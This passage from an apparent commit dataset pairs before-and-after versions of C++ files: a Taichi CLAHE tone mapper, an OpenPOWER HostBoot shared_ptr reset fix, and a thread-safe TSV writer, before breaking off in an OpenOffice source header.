num_bins; k++) {\n                    histograms[i][j][k] = cdf[k] * inv_scale;\n                }\n            }\n        }\n\n        auto oup = inp;\n        for (auto &ind : oup.get_region()) {\n            real new_lum = histograms.sample_relative_coord(\n                1.0f * ind.i \/ width, 1.0f * ind.j \/ height, lum[ind] \/ max_lum);\n            for (int i = 0; i < 3; i++) {\n                oup[ind][i] = inp[ind][i] \/ (lum[ind] + 1e-30f) * new_lum;\n            }\n        }\n        return oup;\n    }\n};\n\nTC_IMPLEMENTATION(ToneMapper, CLAHETMO, \"clahe\")\n\nTC_NAMESPACE_END<commit_msg>Fixed compilation<commit_after>#include <taichi\/image\/tone_mapper.h>\n#include <taichi\/math\/array_op.h>\n#include <taichi\/math\/array_3d.h>\n#include <taichi\/physics\/physics_constants.h>\n\nTC_NAMESPACE_BEGIN\n\nclass HETMO final : public ToneMapper {\nprotected:\n    int num_bins;\npublic:\n    void initialize(const Config &config) override {\n        num_bins = config.get_int(\"num_bins\");\n    }\n\n    virtual Array2D<Vector3> apply(const Array2D<Vector3> &inp) override {\n        int width = inp.get_width(), height = inp.get_height();\n        Array2D<real> lum(inp.get_width(), inp.get_height());\n        for (auto &ind : inp.get_region()) {\n            lum[ind] = luminance(inp[ind]);\n        }\n        auto scale = num_bins \/ (1e-30f + lum.max());\n        std::vector<int> cdf(num_bins, 0);\n        for (auto &ind : inp.get_region()) {\n            cdf[std::min(num_bins - 1, (int)(scale * lum[ind]))] += 1;\n        }\n        for (int i = 0; i < num_bins - 1; i++) {\n            cdf[i + 1] += cdf[i];\n        }\n        auto oup = inp;\n        for (auto &ind : oup.get_region()) {\n            real new_lum = 1.0f * cdf[std::min(num_bins - 1, (int)(scale * lum[ind]))]\n                \/ (width * height);\n            for (int i = 0; i < 3; i++) {\n                oup[ind][i] = inp[ind][i] \/ (lum[ind] + 1e-30f) * new_lum;\n            }\n        }\n        return oup;\n    }\n};\n\nTC_IMPLEMENTATION(ToneMapper, HETMO, \"he\")\n\nclass CLAHETMO final : public ToneMapper {\nprotected:\n    int num_bins;\n    int num_slices;\n    real contrast_limit;\npublic:\n    void initialize(const Config &config) override {\n        num_bins = config.get_int(\"num_bins\");\n        num_slices = config.get_int(\"num_slices\");\n        contrast_limit = config.get(\"contrast_limit\", 0.0f);\n    }\n\n    virtual Array2D<Vector3> apply(const Array2D<Vector3> &inp) override {\n        int width = inp.get_width(), height = inp.get_height();\n        int x_slices = num_slices;\n        int y_slices = num_slices;\n        int x_slice_size = (int)std::ceil(1.0f * width \/ num_slices);\n        int y_slice_size = (int)std::ceil(1.0f * height \/ num_slices);\n        Array2D<real> lum(inp.get_width(), inp.get_height());\n        for (auto &ind : inp.get_region()) {\n            lum[ind] = luminance(inp[ind]);\n        }\n        real max_lum = lum.max() + 1e-20f;\n        real scale = num_bins \/ max_lum;\n        Array3D<real> histograms(Vector3i(x_slices, y_slices, num_bins));\n        for (int i = 0; i < x_slices; i++) {\n            for (int j = 0; j < y_slices; j++) {\n                int x_start = std::max(0, (i - 1) * x_slice_size);\n                int x_end = std::min((i + 2) * x_slice_size, width);\n                int y_start = std::max(0, (j - 1) * y_slice_size);\n                int y_end = std::min((j + 2) * y_slice_size, height);\n                std::vector<int> cdf(num_bins, 0);\n                for (int x = x_start; x < x_end; x++) {\n                    for (int y = y_start; y < y_end; y++) {\n                        cdf[std::min(num_bins - 1, (int)(scale * lum[x][y]))] += 1;\n                    }\n                }\n                int num_pixels = (x_end - x_start) * (y_end - y_start);\n                int threshold = int(1.0f * num_pixels \/ num_bins * contrast_limit);\n                int clipped = 0;\n                if (contrast_limit != 0.0f) {\n                    for (int k = 0; k < num_bins; k++) {\n                        if (cdf[k] > threshold) {\n                            clipped += cdf[k] - threshold;\n                            cdf[k] = threshold;\n                        }\n                    }\n                    int gain = clipped \/ num_bins;\n                    for (int k = 0; k < num_bins; k++) {\n                        cdf[k] += gain;\n                    }\n                }\n                for (int k = 0; k < num_bins - 1; k++) {\n                    cdf[k + 1] += cdf[k];\n                }\n                real inv_scale = 1.0f \/ num_pixels;\n                for (int k = num_bins - 2; k >= 0; k--) {\n                    cdf[k + 1] = cdf[k];\n                }\n                cdf[0] = 0;\n                for (int k = 0; k < num_bins; k++) {\n                    histograms[i][j][k] = cdf[k] * inv_scale;\n                }\n            }\n        }\n\n        auto oup = inp;\n        for (auto &ind : oup.get_region()) {\n            real new_lum = histograms.sample_relative_coord(\n                1.0f * ind.i \/ width, 1.0f * ind.j \/ height, lum[ind] \/ max_lum);\n            for (int i = 0; i < 3; i++) {\n                oup[ind][i] = inp[ind][i] \/ (lum[ind] + 1e-30f) * new_lum;\n            }\n        }\n        return oup;\n    }\n};\n\nTC_IMPLEMENTATION(ToneMapper, CLAHETMO, \"clahe\")\n\nTC_NAMESPACE_END<|endoftext|>"}
{"text":"<commit_before>\/* IBM_PROLOG_BEGIN_TAG                                                   *\/\n\/* This is an automatically generated prolog.                             *\/\n\/*                                                                        *\/\n\/* $Source: src\/include\/util\/impl\/shared_ptr.H $                          *\/\n\/*                                                                        *\/\n\/* OpenPOWER HostBoot Project                                             *\/\n\/*                                                                        *\/\n\/* Contributors Listed Below - COPYRIGHT 2015                             *\/\n\/* [+] International Business Machines Corp.                              *\/\n\/*                                                                        *\/\n\/*                                                                        *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\");        *\/\n\/* you may not use this file except in compliance with the License.       *\/\n\/* You may obtain a copy of the License at                                *\/\n\/*                                                                        *\/\n\/*     http:\/\/www.apache.org\/licenses\/LICENSE-2.0                         *\/\n\/*                                                                        *\/\n\/* Unless required by applicable law or agreed to in writing, software    *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS,      *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or        *\/\n\/* implied. See the License for the specific language governing           *\/\n\/* permissions and limitations under the License.                         *\/\n\/*                                                                        *\/\n\/* IBM_PROLOG_END_TAG                                                     *\/\n#ifndef __UTIL_IMPL_SHARED_PTR_H\n#define __UTIL_IMPL_SHARED_PTR_H\n\n#include <cstddef>\n#include <utility>\n#include <stdint.h>\n\nnamespace std\n{\n    namespace __impl\n    {\n        class shared_ptr_count\n        {\n            public:\n                shared_ptr_count() : count(1) {};\n                ~shared_ptr_count() = default;\n\n                void increment() { __sync_add_and_fetch(&count, 1); };\n                bool decrement()\n                    { return 0 == __sync_add_and_fetch(&count, -1); };\n                size_t use_count() { return count; };\n\n            private:\n                size_t count;\n        };\n    }\n\n    template <typename T>\n    class shared_ptr\n    {\n        public:\n            typedef T element_type;\n\n            constexpr shared_ptr() :\n                count(nullptr), pointer(nullptr), owner(nullptr) {};\n            constexpr shared_ptr(nullptr_t) :\n                count(nullptr), pointer(nullptr), owner(nullptr) {};\n\n            template<typename U> explicit shared_ptr(U* ptr)\n            {\n                _setup(ptr);\n            }\n\n            template<typename U> shared_ptr(const shared_ptr<U>& r, T* ptr)\n                { _copy(r); pointer = ptr; }\n\n            shared_ptr(const shared_ptr& r) { _copy(r); }\n            template<typename U> shared_ptr(const shared_ptr<U>& r)\n                { _copy(r); }\n\n            shared_ptr(shared_ptr&& r) { _swap(std::move(r)); }\n            template<typename U> shared_ptr(shared_ptr<U>&& r)\n                { _swap(std::move(r)); }\n\n            ~shared_ptr() { _cleanup(); }\n\n            shared_ptr& operator=(const shared_ptr& r)\n            {\n                _cleanup();\n                _copy(r);\n\n                return *this;\n            }\n            template<typename U> shared_ptr& operator=(const shared_ptr<U>& r)\n            {\n                _cleanup();\n                _copy(r);\n\n                return *this;\n            }\n\n            shared_ptr& operator=(shared_ptr&& r)\n            {\n                _cleanup();\n                _swap(std::move(r));\n\n                return *this;\n            }\n            template<typename U> shared_ptr& operator=(shared_ptr<U>&& r)\n            {\n                _cleanup();\n                _swap(std::move(r));\n\n                return *this;\n            }\n\n            void reset() { _cleanup(); }\n            template<typename U> void reset(U* ptr) { _cleanup(); _setup(ptr); }\n\n            void swap(shared_ptr& r)\n            {\n                T* tmp0 = r.owner;\n                T* tmp1 = r.pointer;\n                __impl::shared_ptr_count* tmp2 = r.count;\n                r.owner = owner;\n                r.pointer = pointer;\n                r.count = count;\n                owner = tmp0;\n                pointer = tmp1;\n                count = tmp2;\n            }\n\n            T* get() const { return pointer; }\n\n            T& operator*() const { return *pointer; }\n            T* operator->() const { return pointer; }\n\n            long use_count() const\n            {\n                if (count) return count->use_count();\n                return 0;\n            }\n            bool unique() const { return use_count() == 1; }\n\n            explicit operator bool() const { return nullptr != get(); }\n\n            template<typename U>\n            bool owner_before(const shared_ptr<U>& other) const\n            {\n                return (owner < other.owner);\n            }\n\n            template <typename U> friend class shared_ptr;\n\n        private:\n            __impl::shared_ptr_count* count;\n            T* pointer;\n            T* owner;\n\n            template<typename U> void _setup(U* ptr)\n            {\n                owner = pointer = static_cast<T*>(ptr);\n                if (pointer)\n                {\n                    count = new __impl::shared_ptr_count();\n                }\n                else\n                {\n                    count = nullptr;\n                }\n            }\n\n            void _cleanup()\n            {\n                if (!count) return;\n\n                if (count->decrement())\n                {\n                    delete count;\n                    count = nullptr;\n                    delete owner;\n                    owner = nullptr;\n                    pointer = nullptr;\n                }\n            }\n\n            template<typename U> void _copy(const shared_ptr<U>& r)\n            {\n                if (r.count) r.count->increment();\n                count = r.count;\n                owner = static_cast<T*>(r.owner);\n                pointer = static_cast<T*>(r.pointer);\n            }\n\n            template<typename U> void _swap(shared_ptr<U>&& r)\n            {\n                count = r.count;\n                owner = r.owner;\n                pointer = r.pointer;\n                r.count = nullptr;\n                r.owner = nullptr;\n                r.pointer = nullptr;\n            }\n    };\n\n    template <typename T, typename... Args>\n    shared_ptr<T> make_shared( Args&&... args)\n    {\n        return shared_ptr<T>(new T(std::forward<Args>(args)...));\n    }\n\n    template <typename T, typename U>\n    shared_ptr<T> static_pointer_cast(const shared_ptr<U>& r)\n    {\n        return shared_ptr<T>(r,\n            static_cast<typename shared_ptr<T>::element_type*>(r.get()));\n    }\n\n    template <typename T, typename U>\n    shared_ptr<T> dynamic_pointer_cast(const shared_ptr<U>& r)\n    {\n        return shared_ptr<T>(r,\n            dynamic_cast<typename shared_ptr<T>::element_type*>(r.get()));\n    }\n\n    template <typename T, typename U>\n    shared_ptr<T> const_pointer_cast(const shared_ptr<U>& r)\n    {\n        return shared_ptr<T>(r,\n            const_cast<typename shared_ptr<T>::element_type*>(r.get()));\n    }\n\n    template <typename T>\n    void swap(shared_ptr<T>& l, shared_ptr<T>& r) { return l.swap(r); }\n}\n\n#endif\n<commit_msg>shared_ptr::reset did not work for shared pointer<commit_after>\/* IBM_PROLOG_BEGIN_TAG                                                   *\/\n\/* This is an automatically generated prolog.                             *\/\n\/*                                                                        *\/\n\/* $Source: src\/include\/util\/impl\/shared_ptr.H $                          *\/\n\/*                                                                        *\/\n\/* OpenPOWER HostBoot Project                                             *\/\n\/*                                                                        *\/\n\/* Contributors Listed Below - COPYRIGHT 2015,2016                        *\/\n\/* [+] International Business Machines Corp.                              *\/\n\/*                                                                        *\/\n\/*                                                                        *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\");        *\/\n\/* you may not use this file except in compliance with the License.       *\/\n\/* You may obtain a copy of the License at                                *\/\n\/*                                                                        *\/\n\/*     http:\/\/www.apache.org\/licenses\/LICENSE-2.0                         *\/\n\/*                                                                        *\/\n\/* Unless required by applicable law or agreed to in writing, software    *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS,      *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or        *\/\n\/* implied. See the License for the specific language governing           *\/\n\/* permissions and limitations under the License.                         *\/\n\/*                                                                        *\/\n\/* IBM_PROLOG_END_TAG                                                     *\/\n#ifndef __UTIL_IMPL_SHARED_PTR_H\n#define __UTIL_IMPL_SHARED_PTR_H\n\n#include <cstddef>\n#include <utility>\n#include <stdint.h>\n\nnamespace std\n{\n    namespace __impl\n    {\n        class shared_ptr_count\n        {\n            public:\n                shared_ptr_count() : count(1) {};\n                ~shared_ptr_count() = default;\n\n                void increment() { __sync_add_and_fetch(&count, 1); };\n                bool decrement()\n                    { return 0 == __sync_add_and_fetch(&count, -1); };\n                size_t use_count() { return count; };\n\n            private:\n                size_t count;\n        };\n    }\n\n    template <typename T>\n    class shared_ptr\n    {\n        public:\n            typedef T element_type;\n\n            constexpr shared_ptr() :\n                count(nullptr), pointer(nullptr), owner(nullptr) {};\n            constexpr shared_ptr(nullptr_t) :\n                count(nullptr), pointer(nullptr), owner(nullptr) {};\n\n            template<typename U> explicit shared_ptr(U* ptr)\n            {\n                _setup(ptr);\n            }\n\n            template<typename U> shared_ptr(const shared_ptr<U>& r, T* ptr)\n                { _copy(r); pointer = ptr; }\n\n            shared_ptr(const shared_ptr& r) { _copy(r); }\n            template<typename U> shared_ptr(const shared_ptr<U>& r)\n                { _copy(r); }\n\n            shared_ptr(shared_ptr&& r) { _swap(std::move(r)); }\n            template<typename U> shared_ptr(shared_ptr<U>&& r)\n                { _swap(std::move(r)); }\n\n            ~shared_ptr() { _cleanup(); }\n\n            shared_ptr& operator=(const shared_ptr& r)\n            {\n                _cleanup();\n                _copy(r);\n\n                return *this;\n            }\n            template<typename U> shared_ptr& operator=(const shared_ptr<U>& r)\n            {\n                _cleanup();\n                _copy(r);\n\n                return *this;\n            }\n\n            shared_ptr& operator=(shared_ptr&& r)\n            {\n                _cleanup();\n                _swap(std::move(r));\n\n                return *this;\n            }\n            template<typename U> shared_ptr& operator=(shared_ptr<U>&& r)\n            {\n                _cleanup();\n                _swap(std::move(r));\n\n                return *this;\n            }\n\n            void reset() { _cleanup(); }\n            template<typename U> void reset(U* ptr) { _cleanup(); _setup(ptr); }\n\n            void swap(shared_ptr& r)\n            {\n                T* tmp0 = r.owner;\n                T* tmp1 = r.pointer;\n                __impl::shared_ptr_count* tmp2 = r.count;\n                r.owner = owner;\n                r.pointer = pointer;\n                r.count = count;\n                owner = tmp0;\n                pointer = tmp1;\n                count = tmp2;\n            }\n\n            T* get() const { return pointer; }\n\n            T& operator*() const { return *pointer; }\n            T* operator->() const { return pointer; }\n\n            long use_count() const\n            {\n                if (count) return count->use_count();\n                return 0;\n            }\n            bool unique() const { return use_count() == 1; }\n\n            explicit operator bool() const { return nullptr != get(); }\n\n            template<typename U>\n            bool owner_before(const shared_ptr<U>& other) const\n            {\n                return (owner < other.owner);\n            }\n\n            template <typename U> friend class shared_ptr;\n\n        private:\n            __impl::shared_ptr_count* count;\n            T* pointer;\n            T* owner;\n\n            template<typename U> void _setup(U* ptr)\n            {\n                owner = pointer = static_cast<T*>(ptr);\n                if (pointer)\n                {\n                    count = new __impl::shared_ptr_count();\n                }\n                else\n                {\n                    count = nullptr;\n                }\n            }\n\n            void _cleanup()\n            {\n                if (!count) return;\n\n                if (count->decrement())\n                {\n                    delete count;\n                    delete owner;\n                }\n\n                count = nullptr;\n                owner = nullptr;\n                pointer = nullptr;\n            }\n\n            template<typename U> void _copy(const shared_ptr<U>& r)\n            {\n                if (r.count) r.count->increment();\n                count = r.count;\n                owner = static_cast<T*>(r.owner);\n                pointer = static_cast<T*>(r.pointer);\n            }\n\n            template<typename U> void _swap(shared_ptr<U>&& r)\n            {\n                count = r.count;\n                owner = r.owner;\n                pointer = r.pointer;\n                r.count = nullptr;\n                r.owner = nullptr;\n                r.pointer = nullptr;\n            }\n    };\n\n    template <typename T, typename... Args>\n    shared_ptr<T> make_shared( Args&&... args)\n    {\n        return shared_ptr<T>(new T(std::forward<Args>(args)...));\n    }\n\n    template <typename T, typename U>\n    shared_ptr<T> static_pointer_cast(const shared_ptr<U>& r)\n    {\n        return shared_ptr<T>(r,\n            static_cast<typename shared_ptr<T>::element_type*>(r.get()));\n    }\n\n    template <typename T, typename U>\n    shared_ptr<T> dynamic_pointer_cast(const shared_ptr<U>& r)\n    {\n        return shared_ptr<T>(r,\n            dynamic_cast<typename shared_ptr<T>::element_type*>(r.get()));\n    }\n\n    template <typename T, typename U>\n    shared_ptr<T> const_pointer_cast(const shared_ptr<U>& r)\n    {\n        return shared_ptr<T>(r,\n            const_cast<typename shared_ptr<T>::element_type*>(r.get()));\n    }\n\n    template <typename T>\n    void swap(shared_ptr<T>& l, shared_ptr<T>& r) { return l.swap(r); }\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/**\n  * (T)hread-(S)afe cached data (W)riter for C++ 11\n  *\n  * Copyright (c) 2015 Jan Pipek (MIT licence)\n  *\n  * This file can be used as is without external dependencies,\n  * see https:\/\/github.com\/janpipek\/tsw .\n  *\/\n\n#include <tuple>\n#include <vector>\n#include <iostream>\n#include <utility>\n#include <array>\n#include <mutex>\n#include <fstream>\n#include <iomanip>\n\n#ifdef TSW_USE_POSIX_THREADS\n    #include <pthread.h>\n    #include <stdexcept>\n    #define TSW_MUTEX_DECLARATION pthread_mutex_t _mutex;\n    #define TSW_MUTEX_INITIALIZATION pthread_mutexattr_t attr;\\\n        pthread_mutexattr_init(&attr);\\\n        pthread_mutexattr_settype(&attr, PTHREAD_MUTEX_RECURSIVE);\\\n        pthread_mutex_init(&_mutex, &attr);\n    #define TSW_LOCK bool ok = true;\\\n        pthread_mutex_lock(&_mutex);\\\n        try {\n    #define TSW_UNLOCK } \\\n        catch(...) { ok = false; }\\\n        pthread_mutex_unlock(&_mutex);\\\n        if (!ok) {\\\n            throw std::runtime_error(\"Error in threaded writing\");\\\n        }\n#else\n    #ifdef TSW_NO_THREADS\n        #define TSW_MUTEX_INITIALIZATION\n        #define TSW_MUTEX_DECLARATION\n        #define TSW_LOCK\n        #define TSW_UNLOCK\n    #else\n        #define TSW_USE_CPPT11_THREADS\n        #include <thread>\n        #define TSW_MUTEX_INITIALIZATION\n        #define TSW_MUTEX_DECLARATION std::recursive_mutex _mutex;\n        #define TSW_LOCK { std::lock_guard<std::recursive_mutex> lock(_mutex);\n        #define TSW_UNLOCK }\n    #endif\n#endif\n\nnamespace tsw\n{\n    class ThreadSafeWriter\n    {\n    public:\n        virtual void Flush() = 0;\n\n        virtual ~ThreadSafeWriter() = default;     \/\/ Enable polymorphism\n    };\n\n    template <class... Ts> class BaseThreadSafeWriter : public ThreadSafeWriter { };\n\n    template <class U, class... Ts> class BaseThreadSafeWriter<U, Ts...> : public BaseThreadSafeWriter<>\n    {\n    public:\n        BaseThreadSafeWriter() : _columnNames(nullptr)\n        {\n            TSW_MUTEX_INITIALIZATION;\n        }\n\n        const static size_t itemDim = sizeof...(Ts) + 1;\n\n        typedef std::array<std::string, itemDim> nameCollectionT;\n\n        typedef std::tuple<U, Ts...> itemT;\n\n        void SetColumnNames(const nameCollectionT& columnNames)\n        {\n            _columnNames = new nameCollectionT(columnNames);\n        }\n\n        template <class... Vs> void SetColumnNames(const std::string& name1, const Vs&... names)\n        {\n            static_assert(sizeof...(Vs) == (itemDim - 1), \"Column names must be of the same dimension as data.\");\n            if (_columnNames)\n            {\n                delete _columnNames;\n            }\n            auto temp = nameCollectionT{name1, names...};\n            _columnNames = new nameCollectionT(temp);\n        }\n\n        virtual ~BaseThreadSafeWriter()\n        {\n            if (_columnNames)\n            {\n                delete _columnNames;\n            }\n        }\n\n        void Store(const itemT& item)\n        {\n            TSW_LOCK;\n            _data.push_back(item);\n            if (IsFlushRequired())\n            {\n                Flush();\n            }\n            TSW_UNLOCK;\n        }\n\n        void Store(const U& first, const Ts&... args)\n        {\n            Store(std::make_tuple(first, args...));\n        }\n\n        virtual bool IsFlushRequired()\n        {\n            return _data.size() == _cacheCapacity;\n        }\n\n        virtual void SetCacheCapacity(size_t capacity)\n        {\n            _cacheCapacity = capacity;\n            if (IsFlushRequired())\n            {\n                Flush();\n            }\n        }\n\n        void Flush() override\n        {\n            TSW_LOCK;\n            for (auto item : _data) {\n                Write(item);\n            }\n            FinishFlush();\n            _data.clear();\n            TSW_UNLOCK;\n        }\n\n        virtual void FinishFlush() { }\n\n    protected:\n        virtual void Write(const std::tuple<U, Ts...>& item) = 0;\n\n        size_t _cacheCapacity = 1000;\n\n        std::vector<itemT> _data;\n\n        TSW_MUTEX_DECLARATION;\n\n        nameCollectionT* _columnNames;\n    };\n\n    template <class... Ts> class TSVWriter : public BaseThreadSafeWriter<> { };\n\n    template <class U, class... Ts> class TSVWriter<U, Ts...> : public BaseThreadSafeWriter<U, Ts...>\n    {\n    protected:\n        using BaseThreadSafeWriter<U, Ts...>::_columnNames;\n\n        \/\/ using BaseThreadSafeWriter<U, Ts...>::Flush();\n\n    public:\n        using BaseThreadSafeWriter<U, Ts...>::itemDim;\n\n        TSVWriter(const std::string& fileName) : _fileName(fileName), _stream(nullptr), _separator(\"\\t\"), _precision(6)\n        {\n        }\n\n        virtual ~TSVWriter()\n        {\n            BaseThreadSafeWriter<U, Ts...>::Flush();\n            if (_opened)\n            {\n                _stream->close();\n                delete _stream;\n            }\n        }\n\n        void SetSeparator(const std::string& sep)\n        {\n            _separator = sep;\n        }\n\n        void SetPrecision(int digits)\n        {\n            _precision = digits;\n            if (_opened)\n            {\n                (*_stream) << std::setprecision(_precision);\n            }\n        }\n\n    protected:\n        void Open()\n        {\n            _stream = new std::ofstream(_fileName);\n            (*_stream) << std::setprecision(_precision);\n            if (_columnNames)\n            {\n                for (size_t i = 0; i < itemDim - 1; i++)\n                {\n                    *_stream << (*_columnNames)[i] << _separator;\n                }\n                *_stream << (*_columnNames)[itemDim - 1] << std::endl;\n            }\n            _opened = true;\n        }\n\n        bool _opened = false;\n\n        int _precision;\n\n        std::string _separator;\n\n        std::ofstream* _stream;\n\n        std::string _fileName;\n\n        virtual void FinishFlush()\n        {\n            _stream->flush();\n        }\n\n        virtual void Write(const std::tuple<U, Ts...>& item) override\n        {\n            if (!_opened)\n            {\n                Open();\n            }\n            WriteItem(item);\n        }\n\n        template<std::size_t I = 0, typename... Vs> inline typename std::enable_if<I == sizeof...(Vs), void>::type WriteItem(const std::tuple<Vs...>& t)\n        {\n            *_stream << \"\\n\";\n        }\n\n        template<std::size_t I = 0, typename... Vs> inline typename std::enable_if<I < sizeof...(Vs), void>::type WriteItem(const std::tuple<Vs...>& t)\n        {\n            *_stream << std::get<I>(t) << _separator;\n            WriteItem<I + 1, Vs...>(t);\n        }\n    };\n}\n<commit_msg>Some optimization for vector capacity<commit_after>\/**\n  * (T)hread-(S)afe cached data (W)riter for C++ 11\n  *\n  * Copyright (c) 2015 Jan Pipek (MIT licence)\n  *\n  * This file can be used as is without external dependencies,\n  * see https:\/\/github.com\/janpipek\/tsw .\n  *\/\n\n#include <tuple>\n#include <vector>\n#include <iostream>\n#include <utility>\n#include <array>\n#include <mutex>\n#include <fstream>\n#include <iomanip>\n\n#ifdef TSW_USE_POSIX_THREADS\n    #include <pthread.h>\n    #include <stdexcept>\n    #define TSW_MUTEX_DECLARATION pthread_mutex_t _mutex\n    #define TSW_MUTEX_INITIALIZATION pthread_mutexattr_t attr;\\\n        pthread_mutexattr_init(&attr);\\\n        pthread_mutexattr_settype(&attr, PTHREAD_MUTEX_RECURSIVE);\\\n        pthread_mutex_init(&_mutex, &attr)\n    #define TSW_LOCK bool ok = true;\\\n        pthread_mutex_lock(&_mutex);\\\n        try {\n    #define TSW_UNLOCK } \\\n        catch(...) { ok = false; }\\\n        pthread_mutex_unlock(&_mutex);\\\n        if (!ok) {\\\n            throw std::runtime_error(\"Error in threaded writing\");\\\n        }\n#else\n    #ifdef TSW_NO_THREADS\n        #define TSW_MUTEX_INITIALIZATION\n        #define TSW_MUTEX_DECLARATION\n        #define TSW_LOCK\n        #define TSW_UNLOCK\n    #else\n        #define TSW_USE_CPPT11_THREADS\n        #include <thread>\n        #define TSW_MUTEX_INITIALIZATION\n        #define TSW_MUTEX_DECLARATION std::recursive_mutex _mutex\n        #define TSW_LOCK { std::lock_guard<std::recursive_mutex> lock(_mutex)\n        #define TSW_UNLOCK }\n    #endif\n#endif\n\nnamespace tsw\n{\n    class ThreadSafeWriter\n    {\n    public:\n        virtual void Flush() = 0;\n\n        virtual ~ThreadSafeWriter() = default;     \/\/ Enable polymorphism\n    };\n\n    template <class... Ts> class BaseThreadSafeWriter : public ThreadSafeWriter { };\n\n    template <class U, class... Ts> class BaseThreadSafeWriter<U, Ts...> : public BaseThreadSafeWriter<>\n    {\n    public:\n        BaseThreadSafeWriter() : _columnNames(nullptr)\n        {\n            TSW_MUTEX_INITIALIZATION;\n        }\n\n        const static size_t itemDim = sizeof...(Ts) + 1;\n\n        typedef std::array<std::string, itemDim> nameCollectionT;\n\n        typedef std::tuple<U, Ts...> itemT;\n\n        void SetColumnNames(const nameCollectionT& columnNames)\n        {\n            _columnNames = new nameCollectionT(columnNames);\n        }\n\n        template <class... Vs> void SetColumnNames(const std::string& name1, const Vs&... names)\n        {\n            static_assert(sizeof...(Vs) == (itemDim - 1), \"Column names must be of the same dimension as data.\");\n            if (_columnNames)\n            {\n                delete _columnNames;\n            }\n            auto temp = nameCollectionT{name1, names...};\n            _columnNames = new nameCollectionT(temp);\n        }\n\n        virtual ~BaseThreadSafeWriter()\n        {\n            if (_columnNames)\n            {\n                delete _columnNames;\n            }\n        }\n\n        void Store(const itemT& item)\n        {\n            TSW_LOCK;\n            _data.push_back(item);\n            if (IsFlushRequired())\n            {\n                Flush();\n            }\n            TSW_UNLOCK;\n        }\n\n        void Store(const U& first, const Ts&... args)\n        {\n            Store(std::make_tuple(first, args...));\n        }\n\n        virtual bool IsFlushRequired()\n        {\n            return _data.size() == _cacheCapacity;\n        }\n\n        virtual void SetCacheCapacity(size_t capacity)\n        {\n            TSW_LOCK;\n            _cacheCapacity = capacity;\n            if (IsFlushRequired())\n            {\n                Flush();\n            }\n            else\n            {\n                _data.reserve(_cacheCapacity);\n            }\n            TSW_UNLOCK;\n        }\n\n        void Flush() override\n        {\n            TSW_LOCK;\n            for (auto item : _data) {\n                Write(item);\n            }\n            FinishFlush();\n            _data.clear();\n            _data.reserve(_cacheCapacity);\n            TSW_UNLOCK;\n        }\n\n        virtual void FinishFlush() { }\n\n    protected:\n        virtual void Write(const std::tuple<U, Ts...>& item) = 0;\n\n        size_t _cacheCapacity = 1000;\n\n        std::vector<itemT> _data;\n\n        TSW_MUTEX_DECLARATION;\n\n        nameCollectionT* _columnNames;\n    };\n\n    template <class... Ts> class TSVWriter : public BaseThreadSafeWriter<> { };\n\n    template <class U, class... Ts> class TSVWriter<U, Ts...> : public BaseThreadSafeWriter<U, Ts...>\n    {\n    protected:\n        using BaseThreadSafeWriter<U, Ts...>::_columnNames;\n\n        \/\/ using BaseThreadSafeWriter<U, Ts...>::Flush();\n\n    public:\n        using BaseThreadSafeWriter<U, Ts...>::itemDim;\n\n        TSVWriter(const std::string& fileName) : _fileName(fileName), _stream(nullptr), _separator(\"\\t\"), _precision(6)\n        {\n        }\n\n        virtual ~TSVWriter()\n        {\n            BaseThreadSafeWriter<U, Ts...>::Flush();\n            if (_opened)\n            {\n                _stream->close();\n                delete _stream;\n            }\n        }\n\n        void SetSeparator(const std::string& sep)\n        {\n            _separator = sep;\n        }\n\n        void SetPrecision(int digits)\n        {\n            _precision = digits;\n            if (_opened)\n            {\n                (*_stream) << std::setprecision(_precision);\n            }\n        }\n\n    protected:\n        void Open()\n        {\n            _stream = new std::ofstream(_fileName);\n            (*_stream) << std::setprecision(_precision);\n            if (_columnNames)\n            {\n                for (size_t i = 0; i < itemDim - 1; i++)\n                {\n                    *_stream << (*_columnNames)[i] << _separator;\n                }\n                *_stream << (*_columnNames)[itemDim - 1] << std::endl;\n            }\n            _opened = true;\n        }\n\n        bool _opened = false;\n\n        int _precision;\n\n        std::string _separator;\n\n        std::ofstream* _stream;\n\n        std::string _fileName;\n\n        virtual void FinishFlush()\n        {\n            _stream->flush();\n        }\n\n        virtual void Write(const std::tuple<U, Ts...>& item) override\n        {\n            if (!_opened)\n            {\n                Open();\n            }\n            WriteItem(item);\n        }\n\n        template<std::size_t I = 0, typename... Vs> inline typename std::enable_if<I == sizeof...(Vs), void>::type WriteItem(const std::tuple<Vs...>& t)\n        {\n            *_stream << \"\\n\";\n        }\n\n        template<std::size_t I = 0, typename... Vs> inline typename std::enable_if<I < sizeof...(Vs), void>::type WriteItem(const std::tuple<Vs...>& t)\n        {\n            *_stream << std::get<I>(t) << _separator;\n            WriteItem<I + 1, Vs...>(t);\n        }\n    };\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: ftpinpstr.cxx,v $\n *\n *  $Revision: 1.7 $\n *\n *  last change: $Author: hr $ $Date: 2006-06-20 05:24:33 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n\/**************************************************************************\n                                TODO\n **************************************************************************\n\n *************************************************************************\/\n\n#ifndef _FTP_FTPINPSTR_HXX_\n#include \"ftpinpstr.hxx\"\n#endif\n#ifndef _RTL_ALLOC_H\n#include <rtl\/alloc.h>\n#endif\n#ifndef 